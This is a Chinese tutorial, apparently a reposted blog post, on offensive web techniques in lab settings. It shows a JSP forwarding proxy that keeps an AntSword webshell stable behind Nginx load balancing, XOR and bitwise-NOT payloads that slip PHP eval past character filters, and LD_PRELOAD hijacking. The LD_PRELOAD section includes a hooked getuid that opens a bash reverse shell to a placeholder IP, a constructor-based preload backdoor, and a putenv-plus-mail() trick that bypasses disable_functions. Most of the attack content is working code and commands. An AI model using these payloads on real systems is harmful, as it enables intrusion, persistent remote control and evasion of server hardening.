Nginx负载均衡下的webshell连接与过滤绕过以及LD_PROLOAD利用

news2024/11/23 19:43:35

目录

一、Nginx负载均衡下的webshell连接

1.环境搭建以及webshell连接

2.出现的问题

3.解决方案

二、Webshell的过滤绕过

1.异或操作绕过

​2.取反操作绕过

3.PHP语法绕过

三、LD_PRELOAD的利用

1.初识LD_PRELOAD

2.利用LD_PRELOAD

2.1.制作linux后门

2.2.绕过PHPdisable_function


一、Nginx负载均衡下的webshell连接

1.环境搭建以及webshell连接

这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d

链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza 
提取码:3pza

然后蚁剑直接连接

因为两台服务器都有ant.jsp,所以连接不会出现问题

成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2

 那这个时候就出现问题了

2.出现的问题

1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。

2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传     到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另     一台服务器上

比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了

3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可     在这个场景下,这些 tunnel 脚本全部都失灵了。

由于这一块的内容我还没学习到,所以就简单说说

当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去

那这些问题怎么解决呢?

3.解决方案

1.关掉其中多余的服务器

这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了

但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass

实验环境下如果权限够可以试一试

2.利用shell脚本在执行命令前判断要不要执行

shell脚本如下

#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
    echo "Node1. I will exec command.\n=========\n"
    hostname -i
else
    echo "Other. Try again."
fi

由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输

可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again

反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果

然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令

但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向

3.利用多余的服务器做一次web层面的流量转发 

在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的

 在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.23.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

 然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片

我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次

然后复制我们的脚本,多保存几次,刷新

直到都为3.22kb为止

这时候我们再编辑连接,改为antproxy.jsp

这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?

是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant

连接成功后我们进入命令行

可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了 

 

二、Webshell的过滤绕过

1.异或操作绕过

先来看一段代码

<?php
    echo "A"^"`";//结果为"!"
?>

很多人会好奇为什么会输出"!"

之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是0110 0000

在php中,异或操作是两个二进制数相同时,异或为0,不同为1

简单来说就是   有且仅有一个为true,就返回true

异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是"!"了

再来看下面这段代码,很典型的异或操作绕过

PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

那么我们现在来做一道题

这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤

这道题就可以用异或操作来绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

payload如下

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"`{{{"^"?<>/"的结果是"_GET",所以${$_}[_]()=$_GET[_](),而此时_=getFlag

所以直接就执行了getFlag(),拿到flag

2.取反操作绕过

先来看一段代码

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

运行后结果如下 

可以见得这个取反~是可以帮助我们绕过的

那上面那道题也就可以使用这种解法

payload

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3.PHP语法绕过

依然先来看一段代码

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

<?php
echo ''.[];
?>

 那么我们输出第0个元素,那就是A

<?php
$_=''.[];
echo $_[0];  //A
?>

三、LD_PRELOAD的利用

1.初识LD_PRELOAD

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

我们可以重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

2.利用LD_PRELOAD

首先我们先在内部测试一下这个方案的可行性

假定这是一个正常的编译文件命名为whoami.c

这段代码实现了一个name数组的判断

gcc -o whoami whoami.c编译

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

这时候我们来劫持srtcmp函数命名为hook_strcmp.c

使这个函数无论恒为假

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

将我们写的函数编译成为动态链接库文件

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

然后导入到环境变量里面去

export LD_PRELOAD=$PWD/hook_strcmp.so 

函数被劫持前正常执行whoami.c 

被劫持后执行whoami.c

很明显此时我们已经劫持了 strcmp 函数

2.1.制作linux后门

那这样我们就可以利用系统命令来加载后门,因为在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了

在 linux 中我们可以使用readelf -Ws命令来查看,同时系统命令存储的路径为/uer/bin

readelf -Ws /usr/bin   看看有哪些动态链接库

这里我们挑选一个操作起来比较方便的链接库,选择到 strncmp@GLIBC_2.2.5

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

同样gcc编译,然后导入到环境变量里面去

gcc -shared -fPIC hook_strncmp.c -o hook_strncmp.so
export LD_PRELOAD=$PWD/hook_strncmp.so

然后执行ls,发现打印了id,成功劫持函数

既然可以执行id,那就可以执行反弹shell的命令,这里就不再做演示了 

2.2.绕过PHPdisable_function

直接进入目录,运行docker环境

root@localhost:~/antsword/bypass_disable_functions/1# docker-compose up -d

搭建好后蚁剑连接

 新建一个文件写入phpinfo(),(如果这里显示新建失败,进入到docker容器里)

执行以下代码

chown -R www-data:www-data /var/www/
chmod +x /start.sh

新建成功后找到disable_function,发现基本上执行命令的函数都被禁止了

这个时候就可以通过LD_PRELOAD来绕过

要绕过disable_function,我们需要php去启动一个新进程,比如mail、error_log等函数

这里我们使用sendmail函数在内部尝试

CentOS下默认是有这个函数的,而Ubuntu可能没有,需要apt安装

然后老样子readelf -Ws /usr/sbin/sendmail,选择一个简单易覆写的函数getuid

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

注意这里记得改成自己想反弹的ip 

然后和上面步骤一样,gcc编译  

编译后我们可以利用 putenv 函数来实现链接库的设置  文件名为sendmail.php

由于这里是实验环境,所以直接在root家目录下设置环境变量 

<?php
putenv('LD_PRELOAD=/root/hook_getuid.so');
mail("a@localhost","","","","");
?>

先在反弹机器上nc监听 ,然后直接运行   php sendmail.php

成功反弹shell

error_log函数也可以实现这样的效果,但其本质还是sendmail,这里就不再复述

我们可以发现,上面的情况实际上导致了我们的攻击面是非常窄小的,我们在实际情况中很容易就会出现并没有安装 sendmail 的情况,就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢?

劫持系统新进程

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

系统通过 LD_PRELOAD 预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那么就完全可以不依赖 sendmail 了。

在 GCC 中有一个 C 语言的扩展修饰符 __attribute__((constructor)) ,这个修饰符可以让由它修饰的函数在 main() 之前执行,如果它出现在我们的动态链接库中,那么我们的动态链接库文件一旦被系统加载就将立即执行__attribute__((constructor)) 所修饰的函数。

我们现在不再劫持函数,直接劫持加载动态链接库的函数,所以成功后执行任何需要加载动态链接库的系统命令都会执行我们的后门

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("id");
}

与上面相同,gcc编译,然后导入环境变量

可以看到执行ls和whoami都执行了id命令

我们可以使用蚁剑的插件来绕过disable_function

具体安装步骤可以看这位博主的博客

windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions_蚁剑下载插件disable function_Sk1y的博客-CSDN博客 

选择LD_PRELOAD,点击开始 

 

然后编辑连接,更改为.antproxy.php,这是蚁剑自动生成的脚本 

 

 再执行命令,发现执行成功

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/892194.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python“牵手”京东商品评论数据采集方法,京东API申请指南

京东平台API接口是为开发电商类应用程序而设计的一套完整的、跨浏览器、跨平台的接口规范&#xff0c;京东API接口是指通过编程的方式&#xff0c;让开发者能够通过HTTP协议直接访问京东平台的数据&#xff0c;包括商品信息、店铺信息、物流信息等&#xff0c;从而实现京东平台…

Redis消息传递:发布订阅模式详解

目录 1.Redis发布订阅简介 2.发布/订阅使用 2.1 基于频道(Channel)的发布/订阅 2.2 基于模式(pattern)的发布/订阅 3.深入理解Redis的订阅发布机制 3.1 基于频道(Channel)的发布/订阅如何实现的&#xff1f; 3.2 基于模式(Pattern)的发布/订阅如何实现的&#xff1f; 3.3 Sp…

Maven官网下载配置新仓库

1.Maven的下载 Maven的官网地址&#xff1a;Maven – Download Apache Maven 点击Download&#xff0c;查找 Files下的版本并下载如下图&#xff1a; 2.Maven的配置 自己在D盘或者E盘创建一个文件夹&#xff0c;作为本地仓库&#xff0c;存放项目依赖。 将下载好的zip文件进行解…

模型预测笔记(一):数据清洗及可视化、模型搭建、模型训练和预测代码一体化和对应结果展示(可作为baseline)

模型预测 一、导入关键包二、如何载入、分析和保存文件三、修改缺失值3.1 众数3.2 平均值3.3 中位数3.4 0填充 四、修改异常值4.1 删除4.2 替换 五、数据绘图分析5.1 饼状图5.1.1 绘制某一特征的数值情况&#xff08;二分类&#xff09; 5.2 柱状图5.2.1 单特征与目标特征之间的…

seller_info-获得淘宝店铺详情

一、接口参数说明&#xff1a; seller_info-获得淘宝店铺详情&#xff0c;点击更多API调试&#xff0c;请移步注册API账号点击获取测试key和secret 公共参数 请求地址: https://api-gw.onebound.cn/taobao/seller_info 名称类型必须描述keyString是调用key&#xff08;点击获…

JVM——类的生命周期

文章目录 类加载过程加载验证准备解析初始化 卸载 一个类的完整生命周期如下&#xff1a; 类加载过程 Class 文件需要加载到虚拟机中之后才能运行和使用&#xff0c;那么虚拟机是如何加载这些 Class 文件呢&#xff1f; 系统加载 Class 类型的文件主要三步:加载->连接->…

从xxl-job源码看Scheduler定时任务的原始实现

一、背景 因为xxl-job本身是统一的分布式任务调度框架&#xff0c;所以在实现定时任务的时候&#xff0c;就断不能再去依赖别人了。 其次&#xff0c;它尽可能只依赖spring框架&#xff0c;或者说spring boot/cloud。 也就是说&#xff0c;它会尽少地使用spring外的三方框架。…

AutoSAR系列讲解(深入篇)13.3-Mcal Dio配置

目录 一、Dio port配置 二、Dio pin配置 一、Dio port配置 同之前的Port一样,双击进入Dio配置界面后会看到几乎差不多的配置界面。General和Port类似,我们不再赘述,主要讲解Dio的配置 1. 其实Dio并没有什么实质的作用,主要起到了一个重命名的功能。双击DioConfig_0进入下…

小黑子—JavaWeb:第七章 - Vue 与 Element 综合案例

JavaWeb入门7.0 1. VUE1.1 Vue 快速入门1.2 Vue 常用指令1.2.1 v-bind1.2.2 v-model1.2.3 v-on1.2.4 v-if1.2.5 v-show1.2.6 v-for 1.3 Vue 生命周期1.4 Vue案例1.4.1 查询所有1.4.2 新增品牌 2. Element2.1 Element快速入门2.2 Element布局2.3 Element 常用组件2.3.1 表格2.3.…

京东API简介及应用实例

京东API&#xff08;Application Programming Interface&#xff09;&#xff0c;即京东开放平台的接口&#xff0c;是京东提供给开发者的一组规定格式和约定的接口&#xff0c;用于实现与京东电商平台进行数据交互和功能调用。通过使用京东API&#xff0c;开发者可以实现商品查…

Unity的TimeScale的影响范围分析

大家好&#xff0c;我是阿赵。 这期来说一下Unity的TimeScale。 一、前言 Unity提供了Time这个类&#xff0c;来控制时间。其实我自己倒是很少使用这个Time&#xff0c;因为做网络同步的游戏&#xff0c;一般是需要同步服务器时间&#xff0c;所以我比较多是在使用System.Date…

【运筹优化】贪心启发式算法和蜘蛛猴优化算法求解连续选址问题 + Java代码实现

文章目录 一、问题描述二、思路分析三、解决方案3.1 贪心启发式算法3.2 群体智能算法&#xff08;蜘蛛猴优化算法&#xff09; 四、总结 一、问题描述 选址问题是指在规划区域里选择一个或多个设施的位置&#xff0c;使得目标最优。 按照规划区域的结构划分&#xff0c;可以将…

QT的network的使用

一个简单的双向的网络连接和信息发送。效果如下图所示&#xff1a; 只需要配置这个主机的IP和端口号&#xff0c;由客户端发送链接请求。即可进行连接。 QT的network模块是一个用于网络编程的模块&#xff0c;它提供了一系列的类和函数&#xff0c;可以让您使用TCP/IP协议来创…

pdf格式文件下载不预览,云存储的跨域解决

需求背景 后端接口中返回的是pdf文件路径比如&#xff1a; pdf文件路径 &#xff08;https://wangzhendongsky.oss-cn-beijing.aliyuncs.com/wzd-test.pdf&#xff09; 前端适配是这样的 <ahref"https://wangzhendongsky.oss-cn-beijing.aliyuncs.com/wzd-test.pdf&…

Spring框架之AOP详解

目录 一、前言 1.1.Spring简介 1.2.使用Spring的优点 二、Spring之AOP详解 2.1.什么是AOP 2.2.AOP在Spring的作用 2.3.AOP案例讲解 三、AOP案例实操 3.0.代理小故事&#xff08;方便理解代理模式&#xff09; 3.1.代码演示 3.2.前置通知 3.3.后置通知 3.3.环绕通知…

聚观早报|俞敏洪东方甄选带货北京特产;京东物流上半年盈利

【聚观365】8月17日消息 俞敏洪东方甄选直播间带货北京特产 京东物流上半年实现盈利 百度CTO称大语言模型为人工智能带来曙光 腾讯控股第二季度盈利262亿元 2023中国家庭智慧大屏消费白皮书 俞敏洪东方甄选直播间带货北京特产 近日&#xff0c;东方甄选在北京平谷区开播&…

Linux:shell脚本:基础使用(5)《正则表达式-sed工具》

sed是一种流编辑器&#xff0c;它是文本处理中非常中的工具&#xff0c;能够完美的配合正则表达式使用&#xff0c;功能不同凡响。 处理时&#xff0c;把当前处理的行存储在临时缓冲区中&#xff0c;称为“模式空间”&#xff08;pattern space&#xff09;&#xff0c;接着用s…

数据库MySQL 创建表INSERT

创建表 常见数据类型(列类型) 列类型之整型 unsigned的用法 列类型之bit 二进制表示 bit&#xff08;8&#xff09;表示一个字节 列类型之小数 1.单精度float 双精度double 2.decimal 自定义 M为小数点前面有多少位 D是小数点后面有多少位 列类型之字符串 1.char( 字符 )…

实现简单的element-table的拖拽效果

第一步&#xff0c;先随便创建element表格 <el-table ref"dragTable" :data"tableData" style"width: 100%" border fit highlight-current-row><el-table-column label"日期" width"180"><template slot-sc…

element-Plus中el-menu菜单无法正常收缩解决方案

<el-menu :collapse"true">如图所示收缩之后&#xff0c;有子级的菜单还有箭头文字显示 从代码对比看层级就不太对了&#xff0c;嵌套错误了&#xff0c;正常下方官网的ul标签下直接是li&#xff0c;在自己的代码中&#xff0c;ul标签下是div标签&#xff0c;层…